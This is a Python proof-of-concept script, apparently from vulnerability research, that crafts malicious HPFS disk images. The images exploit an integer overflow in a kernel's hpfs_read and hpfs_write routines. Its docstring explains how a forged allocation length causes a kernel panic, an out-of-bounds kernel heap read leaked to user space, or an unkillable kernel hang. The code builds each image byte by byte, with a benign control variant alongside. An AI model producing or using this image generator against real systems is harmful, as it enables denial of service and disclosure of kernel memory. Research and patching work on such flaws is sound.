DF-3099 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 | #!/usr/bin/env python3 """ DF-3099 — crafted HPFS images for the (runl+1)*DEV_BSIZE int-overflow in hpfs_read (sys/vfs/hpfs/hpfs_vnops.c:326-327) and hpfs_write (:394-396). hpfs_hpbmap (sys/vfs/hpfs/hpfs_alsubr.c:126-129) computes the run hint: *runp = al_off - 1 + al_len - bn; /* u32 math -> int */ with al_len taken verbatim from the on-disk alleaf. hpfs_read/hpfs_write then do: toread/towrite = min/szmin(off + resid, min(64*1024, (runl+1)*DEV_BSIZE)); `(runl+1) * 512' is signed 32-bit arithmetic; attacker-chosen al_len makes it wrap to 0 or to a negative value: variant 'readpanic': al_len = 0x400000, bn = 0 runl = 0x3FFFFF, cap = 0x400000 * 512 = 0x80000000 = INT_MIN (signed int overflow in (runl+1)*DEV_BSIZE) inner min(65536, INT_MIN) -> INT_MIN; outer unsigned compare picks off+resid -> toread = user-chosen (e.g. 1 MB) -> xfersz = 1 MB -> bread -> getblk: panic("getblk: size(%d) > MAXBSIZE(%d)") [vfs_bio.c:2737] variant 'wleak': al_len = 0x800000, bn = 0 runl = 0x7FFFFF, cap = 0x800000*512 mod 2^32 = 0 (2^23 blocks!) towrite = szmin(off+resid, 0) = 0, xfersz = 0 off>0 -> bread(devvp, bn, 0) -> uiomove(b_data + off, (size_t)(0 - off)) -- size_t underflow -> uiomove caps at uio_resid but copies it from b_data+off of a ZERO-byte buffer -> OOB kernel heap read -> copyout to user (LEAK) off==0 -> getblk(...,0)+clrbuf+uiomove(n=0) -> while(uio_resid) never terminates -> unkillable kernel livelock (HANG) variant 'control': al_len = 4 (benign) -> everything works, no panic. Image layout (512B sectors), same skeleton as the verified DF-0857 pack: 0x10 SuperBlock, 0x11 SpareBlock, 0x30 bitmap dir, 0x38..0x3f bitmap, 0x20 root fnode (VDIR), 0x40 dirblk (dirent "FILE" -> fnode 0x48), 0x48 file fnode (forged alleaf[0]), 0x50 2KB file data 'A'. """ import struct, sys SECTOR = 512 SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11 FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \ 0x20, 0x3B, 0x3C, 0x44, 0xA4 AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6 def build(outpath, variant): img = bytearray(0x80 * SECTOR) def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF) def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF) def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF) def wr8(o, v): img[o] = v & 0xFF img[0] = 0xEB wr16(SECTOR - 2, 0xAA55) su = 0x10 * SECTOR wr64(su + 0, SU_MAGIC); wr8(su + 8, 2); wr8(su + 9, 0) wr32(su + 12, 0x20) # su_rootfno wr32(su + 16, 0x80) # su_btotal wr32(su + 20, 0) # su_badbtotal wr32(su + 24, 0x30); wr32(su + 28, 0x30) # su_bitmap sp = 0x11 * SECTOR wr64(sp + 0, SP_MAGIC) bd = 0x30 * SECTOR wr32(bd, 0x38) # bitmap dir entry bm = 0x38 * SECTOR for i in range(0x40): img[bm + (i >> 3)] &= ~(1 << (i & 7)) for i in range(0x40, 0x80): img[bm + (i >> 3)] |= (1 << (i & 7)) rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) wr8(rf + FN_OFF_FLAG, 1) # VDIR img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1) wr32(rf + FN_OFF_ABD + 8, 0x40) # root dirblk wr32(rf + FN_OFF_SIZE, 4 * SECTOR) db = 0x40 * SECTOR wr32(db + 0, D_MAGIC); wr32(db + 4, 0x50) wr32(db + 8, 0); wr32(db + 12, 0x20); wr32(db + 16, 0x40) name = b'FILE' dep = db + 20 reclen = ((0x2f + len(name)) + 3) & ~3 wr16(dep + 0x00, reclen); wr16(dep + 0x02, 0) wr32(dep + 0x04, 0x48) wr64(dep + 0x08, 0); wr32(dep + 0x10, 0x1000) wr64(dep + 0x18, 0); wr64(dep + 0x20, 0); wr32(dep + 0x28, 0) img[dep + 0x2e] = len(name) for i, c in enumerate(name): img[dep + 0x2f + i] = c dep2 = dep + reclen wr16(dep2 + 0x00, 4 * SECTOR - (dep2 - db)) wr16(dep2 + 0x02, 0x08) # DE_END wr32(db + 4, (dep2 + 4) - db) ff = 0x48 * SECTOR wr32(ff + FN_OFF_MAGIC, FN_MAGIC) wr32(ff + FN_OFF_PARENT, 0x20) wr8(ff + FN_OFF_NAMELEN, 4) img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 4] = b'FILE' wr8(ff + FN_OFF_FLAG, 0) # VREG img[ff + FN_OFF_AB + AB_OFF_FLAG] = 0 # leaf alblk (benign busycnt=1!) img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) if variant == 'readpanic': al_off, al_len, fn_size = 0, 0x400000, 0x200000 elif variant == 'wleak': al_off, al_len, fn_size = 0, 0x800000, 0x1000 else: # control al_off, al_len, fn_size = 0, 4, 0x1000 wr32(ff + FN_OFF_ABD + 0, al_off) wr32(ff + FN_OFF_ABD + 4, al_len) # <-- FORGED al_len wr32(ff + FN_OFF_ABD + 8, 0x50) wr32(ff + FN_OFF_SIZE, fn_size) fd = 0x50 * SECTOR img[fd:fd + 4 * SECTOR] = b'A' * (4 * SECTOR) with open(outpath, 'wb') as f: f.write(img) print("wrote %s variant=%s al_len=0x%x fn_size=0x%x" % (outpath, variant, al_len, fn_size)) if __name__ == '__main__': build(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else 'control') |